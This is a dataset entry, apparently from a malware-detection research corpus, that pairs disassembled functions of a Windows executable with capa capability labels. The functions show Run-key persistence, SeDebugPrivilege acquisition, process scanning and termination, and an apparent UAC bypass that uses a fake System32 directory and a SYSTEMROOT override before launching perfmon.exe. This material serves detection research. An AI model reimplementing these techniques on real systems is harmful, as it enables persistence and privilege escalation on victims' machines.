joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001ec0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rdi
sub rsp, 0x490
mov rax, qword [0x14001a0c0]
xor rax, rsp
mov qword [rsp + 0x480], rax
lea rax, [rsp + 0x50]
xor edi, edi
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x50], 2
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140002039
lea rcx, [rsp + 0x62]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x60], di
call fcn.1400051e0
lea rcx, [rsp + 0x272]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x270], di
call fcn.1400051e0
lea rdx, [rsp + 0x270]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, str.cmd__c__
nop dword [rax]
movzx eax, word [rdi + rcx]
add rdi, 2
mov word [rsp + rdi + 0x5e], ax
test ax, ax
jne 0x140001f80
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x60]
repne scasw ax, word [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x270]
nop word [rax + rax]
movzx eax, word [rdx + rcx]
add rcx, 2
mov word [rdi + rcx - 4], ax
test ax, ax
jne 0x140001fb0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x60]
repne scasw ax, word [rdi]
mov rax, qword [str.____zxcv]
or rcx, 0xffffffffffffffff
mov qword [rdi - 2], rax
mov rax, qword [0x1400138a0]
lea rdx, str.SearchFilterHost
mov qword [rdi + 6], rax
movzx eax, word [0x1400138a8]
mov r9d, 1
mov word [rdi + 0xe], ax
xor eax, eax
lea rdi, [rsp + 0x60]
repne scasw ax, word [rdi]
xor r8d, r8d
not rcx
lea eax, [rcx + rcx]
mov rcx, qword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.140004e00
add rsp, 0x490
pop rdi
ret
Function at 0x140002060
Capabilities:
Parse pe header
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x14001a0c0]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, word [0x140013958]
movups xmm0, xmmword [str.Chrome_29.0.1547.7]
mov r8d, ecx
mov word [rsp + 0x40], ax
movzx eax, byte [0x14001395a]
or rcx, 0xffffffffffffffff
movaps xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x42], al
xor eax, eax
lea rdi, [r11 - 0x68]
mov qword [r11 - 0x55], rax
mov qword [r11 - 0x4d], rax
mov qword [r11 - 0x45], rax
mov qword [r11 - 0x3d], rax
mov qword [r11 - 0x35], rax
mov qword [r11 - 0x2d], rax
mov qword [r11 - 0x25], rax
mov dword [rsp + 0x7b], eax
mov byte [rsp + 0x7f], al
repne scasb al, byte [rdi]
mov rax, qword [str.2_Safari_537.36]
xor edx, edx
mov qword [rdi - 1], rax
mov rax, qword [0x140013940]
lea ecx, [rdx + 0x11]
mov qword [rdi + 7], rax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbp, rax
test rax, rax
je 0x14000221a
xor ecx, ecx
mov edx, 0x300000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, 0x2800
mov edx, 0x400000
mov rcx, rbp
mov r8, rax
mov qword [rsp + 0x20], 0
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140002200
movsxd rcx, dword [rsi + 0x3c]
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14000221a
cmp dword [rcx + rsi], 0x4550
jne 0x14000221a
mov ebx, dword [rcx + rsi + 0x50]
mov eax, 0x2ffc00
mov r8, rsi
cmp ebx, 0x300000
mov edx, 0x400000
mov rcx, rbp
cmovae ebx, eax
mov qword [rsp + 0x20], 0
mov r9d, ebx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140002200
xor r10d, r10d
test ebx, ebx
je 0x140002200
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
lea rax, [rsp + 0x30]
mov r9, rsi
not rcx
sub r9, rax
lea r8, [rcx - 1]
xor edx, edx
test r8, r8
je 0x1400021f5
lea rdi, [rsp + 0x30]
movzx ecx, byte [r9 + rdi]
movsx eax, byte [rdi]
cmp ecx, eax
jne 0x1400021f5
lea rcx, [r8 - 2]
mov eax, edx
cmp rax, rcx
je 0x140002245
inc edx
inc rdi
mov eax, edx
cmp rax, r8
jb 0x1400021d2
inc r10d
inc r9
cmp r10d, ebx
jb 0x1400021c6
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140004e00
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x14001b730], 1
mov eax, 1
jmp 0x14000221c
Function at 0x1400029b0
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push r12
mov eax, 0x1260
call fcn.1400055a0
sub rsp, rax
mov rax, qword [0x14001a0c0]
xor rax, rsp
mov qword [rsp + 0x1240], rax
lea rcx, [rsp + 0x34]
xor r12d, r12d
xor edx, edx
mov r8d, 0xffc
mov dword [rsp + 0x30], r12d
call fcn.1400051e0
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov edx, 0x1000
mov dword [rsp + 0x20], r12d
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x140002b8f
mov eax, dword [rsp + 0x20]
shr eax, 2
test eax, eax
je 0x140002b8f
mov qword [rsp + 0x1270], rbx
mov qword [rsp + 0x1278], rbp
mov qword [rsp + 0x1280], rsi
mov qword [rsp + 0x1258], rdi
mov qword [rsp + 0x1250], r13
lea rsi, [rsp + 0x30]
lea r13, [0x14001bc70]
mov ebp, eax
nop word [rax + rax]
lea rcx, [rsp + 0x1032]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x1030], r12w
call fcn.1400051e0
mov ecx, dword [rsi]
lea rdx, [rsp + 0x1030]
mov r8d, 0x104
call fcn.140002940
test eax, eax
je 0x140002b5a
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x1030]
repne scasw ax, word [rdi]
not rcx
dec rcx
cmp rcx, 4
jb 0x140002b5a
cmp dword [0x14001bb58], eax
mov ebx, r12d
jle 0x140002b5a
nop dword [rax + rax]
or rcx, 0xffffffffffffffff
xor eax, eax
movsxd rdx, ebx
imul rdx, rdx, 0x208
add rdx, r13
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
dec rcx
cmp rcx, 4
jbe 0x140002b4c
lea rdi, [rsp + 0x1030]
sub rdi, rdx
movzx ecx, word [rdx]
movzx eax, word [rdx + rdi]
sub ecx, eax
jne 0x140002b13
add rdx, 2
test eax, eax
jne 0x140002b00
test ecx, ecx
jne 0x140002b4c
mov r8d, dword [rsi]
xor edx, edx
lea ecx, [rdx + 0x11]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140002b4c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [0x14001bb58]
jl 0x140002ad0
add rsi, 4
dec rbp
jne 0x140002a60
mov r13, qword [rsp + 0x1250]
mov rdi, qword [rsp + 0x1258]
mov rsi, qword [rsp + 0x1280]
mov rbp, qword [rsp + 0x1278]
mov rbx, qword [rsp + 0x1270]
mov rcx, qword [rsp + 0x1240]
xor rcx, rsp
call fcn.140004e00
add rsp, 0x1260
pop r12
ret
Function at 0x140002bb0
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push rbp
mov eax, 0x1250
call fcn.1400055a0
sub rsp, rax
mov rax, qword [0x14001a0c0]
xor rax, rsp
mov qword [rsp + 0x1240], rax
lea rcx, [rsp + 0x34]
xor ebp, ebp
xor edx, edx
mov r8d, 0xffc
mov dword [rsp + 0x30], ebp
call fcn.1400051e0
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov edx, 0x1000
mov dword [rsp + 0x20], ebp
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x140002ce1
mov eax, dword [rsp + 0x20]
shr eax, 2
test eax, eax
je 0x140002ce1
mov qword [rsp + 0x1260], rbx
mov qword [rsp + 0x1268], rsi
mov esi, eax
mov qword [rsp + 0x1270], rdi
lea rbx, [rsp + 0x30]
nop word [rax + rax]
lea rcx, [rsp + 0x1032]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x1030], bp
call fcn.1400051e0
mov ecx, dword [rbx]
lea rdx, [rsp + 0x1030]
mov r8d, 0x104
call fcn.140002940
test eax, eax
je 0x140002cbc
lea rcx, [rsp + 0x1030]
call fcn.140002290
test eax, eax
je 0x140002cbc
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x11]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140002cbc
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
dec rsi
jne 0x140002c40
mov rdi, qword [rsp + 0x1270]
mov rsi, qword [rsp + 0x1268]
mov rbx, qword [rsp + 0x1260]
mov rcx, qword [rsp + 0x1240]
xor rcx, rsp
call fcn.140004e00
add rsp, 0x1250
pop rbp
ret

Function at 0x140002d00
Capabilities:
Enumerate process modules

Disassembly:
push rbx
mov eax, 0x1040
call fcn.1400055a0
sub rsp, rax
mov rax, qword [0x14001a0c0]
xor rax, rsp
mov qword [rsp + 0x1030], rax
lea rcx, [rsp + 0x34]
xor ebx, ebx
xor edx, edx
mov r8d, 0xffc
mov dword [rsp + 0x30], ebx
call fcn.1400051e0
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov edx, 0x1000
mov dword [rsp + 0x20], ebx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x140002d88
mov eax, dword [rsp + 0x20]
shr eax, 2
test eax, eax
je 0x140002d88
mov qword [rsp + 0x1050], rdi
lea rbx, [rsp + 0x30]
mov edi, eax
nop
mov ecx, dword [rbx]
call fcn.140002060
add rbx, 4
dec rdi
jne 0x140002d70
mov rdi, qword [rsp + 0x1050]
mov rcx, qword [rsp + 0x1030]
xor rcx, rsp
call fcn.140004e00
add rsp, 0x1040
pop rbx
ret
Function at 0x140002db0
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14001a0c0]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140002e43
lea r8, [rsp + 0x38]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x140002e3d
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x44], rax
xor eax, eax
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x28], rax
lea r9d, [rax + 0x10]
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140002e57
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140004e00
add rsp, 0x68
ret
mov al, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140004e00
add rsp, 0x68
ret

Function at 0x140002e70
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x40
lea rax, [rsp + 0x30]
mov rbx, r9
mov rsi, r8
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002eec
mov r10, qword [rsp + 0x30]
test r10, r10
je 0x140002eec
or rcx, 0xffffffffffffffff
xor eax, eax
mov qword [rsp + 0x50], rdi
mov rdi, rbx
mov r9d, 1
xor r8d, r8d
repne scasw ax, word [rdi]
mov rdx, rsi
not rcx
lea eax, [rcx + rcx]
mov rcx, r10
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rsi
ret

Function at 0x140002f00
Capabilities:
Delete registry value

Disassembly:
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x58]
mov rbx, r8
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002f44
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140002f44
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x30
pop rbx
ret
Function at 0x140002f50
Capabilities:
Get token membership

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x14001a0c0]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebx, ebx
lea rax, [rsp + 0x68]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
lea r8d, [rbx + 0x20]
mov r9d, 0x220
mov dl, 2
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x70], 0
mov word [rsp + 0x74], 0x500
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x60], eax
test eax, eax
je 0x140002fdb
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x60]
cmp eax, 1
sete al
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140004e00
add rsp, 0x80
pop rbx
ret
Function at 0x140003000
Capabilities:
Copy file
Create directory
Create process on windows
Get common file path

Disassembly:
push rbx
sub rsp, 0x670
mov rax, qword [0x14001a0c0]
xor rax, rsp
mov qword [rsp + 0x660], rax
lea rcx, [rsp + 0x32]
xor ebx, ebx
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], bx
call fcn.1400051e0
lea rcx, [rsp + 0x242]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x240], bx
call fcn.1400051e0
lea rcx, [rsp + 0x452]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x450], bx
call fcn.1400051e0
lea rdx, [rsp + 0x450]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, str.mmc.exe
lea rcx, [rsp + 0x450]
call fcn.140005490
test rax, rax
jne 0x140003213
lea rdx, [rsp + 0x30]
mov ecx, 0x104
mov qword [rsp + 0x680], rdi
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
repne scasw ax, word [rdi]
mov rax, qword [str.7zPerformance]
mov ecx, ebx
mov qword [rdi - 2], rax
mov rax, qword [0x140013b08]
mov qword [rdi + 6], rax
mov rax, qword [0x140013b10]
mov qword [rdi + 0xe], rax
mov eax, dword [0x140013b18]
mov dword [rdi + 0x16], eax
movzx eax, word [rsp + rcx + 0x30]
add rcx, 2
mov word [rsp + rcx + 0x23e], ax
test ax, ax
jne 0x1400030f3
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x240]
repne scasw ax, word [rdi]
mov rax, qword [str.System32]
lea rcx, [rsp + 0x30]
mov qword [rdi - 2], rax
mov rax, qword [0x140013af0]
xor edx, edx
mov qword [rdi + 6], rax
mov eax, dword [0x140013af8]
mov dword [rdi + 0xe], eax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rsp + 0x240]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x240]
lea rdx, [rsp + 0x240]
xor r8d, r8d
repne scasw ax, word [rdi]
mov rax, qword [str.mmc.exe]
lea rcx, [rsp + 0x450]
mov qword [rdi - 2], rax
mov rax, qword [0x140013b28]
mov qword [rdi + 6], rax
movzx eax, word [0x140013b30]
mov word [rdi + 0xe], ax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r9, [rsp + 0x30]
lea r8, str.SYSTEMROOT
lea rdx, str.Volatile_Environment
mov rcx, 0xffffffff80000001
call fcn.140002e70
lea r8, str.perfmon.exe
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], 6
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, str.SYSTEMROOT
lea rdx, str.Volatile_Environment
mov rcx, 0xffffffff80000001
call fcn.140002f00
mov rdi, qword [rsp + 0x680]
mov rcx, qword [rsp + 0x660]
xor rcx, rsp
call fcn.140004e00
add rsp, 0x670
pop rbx
ret
Function at 0x140003d80
Capabilities:
Get session user name

Disassembly:
sub rsp, 0x248
mov rax, qword [0x14001a0c0]
xor rax, rsp
mov qword [rsp + 0x230], rax
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], 0x100
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x140003ddd
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0x78
setne cl
mov eax, ecx
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140004e00
add rsp, 0x248
ret
mov eax, 1
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140004e00
add rsp, 0x248
ret
Function at 0x140004b30
Capabilities:
Create thread

Disassembly:
mov rax, rsp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xa70
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x14001a0c0]
xor rax, rsp
mov qword [rsp + 0xa60], rax
mov rsi, rdx
mov rbx, rcx
xor r15d, r15d
mov edi, r15d
mov dword [rsp + 0x30], r15d
test rdx, rdx
je 0x140004d2f
mov qword [rcx], rdx
lea rdi, [rcx + 8]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140004b95
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rsp + 0x20], rdi
lea r9, [0x140014080]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x140014228]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x140004bc2
mov qword [rdi], r15
mov ecx, eax
call fcn.14000f270
xor r9d, r9d
lea edx, [r9 + 1]
lea r8d, [r9 + 0x1e]
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetTimer]
mov qword [rbx + 0x18], rsi
mov rcx, qword [rdi]
mov r12, qword [rbx + 0x20]
cmp r12, rcx
je 0x140004c04
mov qword [rbx + 0x20], rcx
test rcx, rcx
je 0x140004bf5
mov rax, qword [rcx]
call qword [rax + 8]
test r12, r12
je 0x140004c04
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov dword [rbx + 0x28], 0x64
mov qword [rbx + 0x30], rsi
mov rcx, qword [rdi]
mov r12, qword [rbx + 0x38]
cmp r12, rcx
je 0x140004c39
mov qword [rbx + 0x38], rcx
test rcx, rcx
je 0x140004c2a
mov rax, qword [rcx]
call qword [rax + 8]
test r12, r12
je 0x140004c39
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov dword [rbx + 0x40], 0x64
mov qword [rbx + 0x48], rsi
mov rcx, qword [rdi]
mov rdi, qword [rbx + 0x50]
cmp rdi, rcx
je 0x140004c6d
mov qword [rbx + 0x50], rcx
test rcx, rcx
je 0x140004c5f
mov rax, qword [rcx]
call qword [rax + 8]
test rdi, rdi
je 0x140004c6d
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
mov dword [rbx + 0x58], 0x64
lea rax, [rbx + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
lea r9, [rbx + 0x18]
lea r8, [0x1400044f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x70], rax
mov edi, r15d
test rax, rax
setne dil
mov dword [rsp + 0x30], edi
test edi, edi
je 0x140004d22
lea rax, [rbx + 0x64]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
lea r9, [rbx + 0x30]
lea r8, [0x1400044f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x78], rax
mov edi, r15d
test rax, rax
setne dil
mov dword [rsp + 0x30], edi
test edi, edi
je 0x140004d22
lea rax, [rbx + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
lea r9, [rbx + 0x48]
lea r8, [0x1400044f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x80], rax
mov edi, r15d
test rax, rax
setne dil
mov dword [rsp + 0x30], edi
test edi, edi
jne 0x140004d29
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
jmp 0x140004d2f
mov eax, edi
mov rcx, qword [rsp + 0xa60]
xor rcx, rsp
call fcn.140004e00
lea r11, [rsp + 0xa70]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140005e40
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140005cb0

Function at 0x14000678f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14001a0c0]
jne 0x140004e1a
rol rcx, 0x10
test cx, 0xffff
jne 0x140004e16
repz ret
ror rcx, 0x10
jmp 0x1400066e8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14003cdc0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14003ceb8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000676d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14003cdc0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000678f
mov rax, qword [rsp + 0x88]
mov qword [0x14003ceb8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14003ce58], rax
mov rax, qword [0x14003ceb8]
mov qword [0x14003cd30], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14003ce40], rax
mov dword [0x14003cd20], 0xc0000409
mov dword [0x14003cd24], 1
mov rax, qword [0x14001a0c0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14001a0c8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14003cdb8], eax
mov ecx, 1
call fcn.14000beb4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140014338]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14003cdb8], 0
jne 0x140006816
mov ecx, 1
call fcn.14000beb4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14000d2b4
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14001a0c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140008a58
xor ebx, ebx
cmp qword [0x14003dd10], rbx
mov rdi, rax
jne 0x14000d3c7
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000d49e
lea rdx, [0x140015e58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000d49e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14003dd10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14003dd18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14003dd20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14003dd30], rax
test rax, rax
je 0x14000d3be
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14003dd28], rax
jmp 0x14000d3ce
mov rax, qword [0x14003dd28]
jmp 0x14000d3d5
mov rax, qword [0x14003dd28]
mov r11, qword [0x14003dd30]
cmp rax, rdi
je 0x14000d43c
cmp r11, rdi
je 0x14000d43c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14003dd30]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14000d43c
test rax, rax
je 0x14000d43c
call rsi
test rax, rax
je 0x14000d436
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000d436
test byte [rsp + 0x40], 1
jne 0x14000d43c
bts ebp, 0x15
jmp 0x14000d47c
mov rcx, qword [0x14003dd18]
cmp rcx, rdi
je 0x14000d47c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000d47c
call rax
mov rbx, rax
test rax, rax
je 0x14000d47c
mov rcx, qword [0x14003dd20]
cmp rcx, rdi
je 0x14000d47c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000d47c
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14003dd10]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000d49e
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
